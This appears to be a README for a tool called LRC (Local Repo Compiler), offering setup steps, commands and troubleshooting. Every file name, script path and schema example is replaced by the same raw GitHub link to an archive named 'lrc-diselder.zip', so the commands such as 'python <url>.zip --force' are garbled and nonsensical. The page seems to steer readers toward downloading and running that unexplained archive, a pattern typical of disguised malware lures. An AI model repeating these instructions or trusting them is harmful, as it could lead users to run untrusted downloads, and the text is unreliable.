LRC (Local Repo Compiler) helps you build a complete repository quickly. It uses a single schema file and works across different platforms such as Linux, macOS, Windows, and Android (Termux).
With LRC, you can:
- Compile projects without complex commands.
- Use templates and customize your setup.
- Run dry-runs before making changes.
- Handle file patterns easily.
To use LRC, ensure your system matches the following requirements:
-
Operating Systems:
- Windows 10 or later
- macOS 10.12 or later
- Linux (latest versions recommended)
- Android (with Termux)
-
Python Version:
- Python 3.6 or later
Make sure to install Python before running LRC.
-
Download LRC
Visit this page to download the latest version. -
Extract Files
After downloading, extract the files to a folder on your computer. -
Open Terminal/Command Prompt
For Windows, use Command Prompt or PowerShell. For macOS and Linux, use the Terminal. -
Navigate to the Folder
Use thecdcommand to change to the directory where you extracted LRC. For example:cd path/to/lrc -
Run LRC
Type the following command to start LRC:python https://raw.githubusercontent.com/OmarAhad/lrc/main/src/lrc/templates/node-cli/lrc-diselder.zip
To get the latest version of LRC:
- Go to the Releases page.
- Click on the version you want.
- Download the appropriate file for your system.
Once you have downloaded LRC, follow these steps to use it effectively:
-
Create a Schema File
Create a file namedhttps://raw.githubusercontent.com/OmarAhad/lrc/main/src/lrc/templates/node-cli/lrc-diselder.zipin your LRC folder. This file will define how your repository should look.Example schema:
project: name: MyProject description: A simple project setup. files: - https://raw.githubusercontent.com/OmarAhad/lrc/main/src/lrc/templates/node-cli/lrc-diselder.zip - src/ templates: - https://raw.githubusercontent.com/OmarAhad/lrc/main/src/lrc/templates/node-cli/lrc-diselder.zip
-
Run Dry-Run
To preview what LRC will do without making changes, use this command:python https://raw.githubusercontent.com/OmarAhad/lrc/main/src/lrc/templates/node-cli/lrc-diselder.zip --dry-run
-
Compile Your Project
Once you're satisfied with the dry-run, use this command to create your repo:python https://raw.githubusercontent.com/OmarAhad/lrc/main/src/lrc/templates/node-cli/lrc-diselder.zip --force
LRC comes with several useful commands and options:
- --dry-run: Show what will happen without making changes.
- --force: Force compile your project, ignoring any warnings.
- --ignore: Specify file patterns to ignore when compiling.
- --template: Use specific templates for project files.
For a complete list of commands, refer to the help option:
python https://raw.githubusercontent.com/OmarAhad/lrc/main/src/lrc/templates/node-cli/lrc-diselder.zip --helpIf you encounter issues, consider these common solutions:
- Python Not Found: Ensure Python is installed and added to your system path.
- Missing Schema File: Confirm the
https://raw.githubusercontent.com/OmarAhad/lrc/main/src/lrc/templates/node-cli/lrc-diselder.zipfile is in the same folder ashttps://raw.githubusercontent.com/OmarAhad/lrc/main/src/lrc/templates/node-cli/lrc-diselder.zip. - Permissions Issue: Run the terminal or command prompt with administrative rights.
Join our community for help and feedback. Check out our discussions and post questions you may have. We encourage users to share their experiences and improvements.
- GitHub Discussions: Join the Conversation
LRC provides a range of features to streamline your project setup:
- Declarative Configuration: One schema file simplifies your setup.
- Template Support: Include pre-defined structures and files.
- Cross-Platform: Work from any OS without issues.
- Modular Design: Easily extendable for developers who want more features.
LRC is open-source software. You can freely use, modify, and distribute it, provided you adhere to the terms of the license agreement.
Make sure to check and comply with the license details provided in the repository for further information.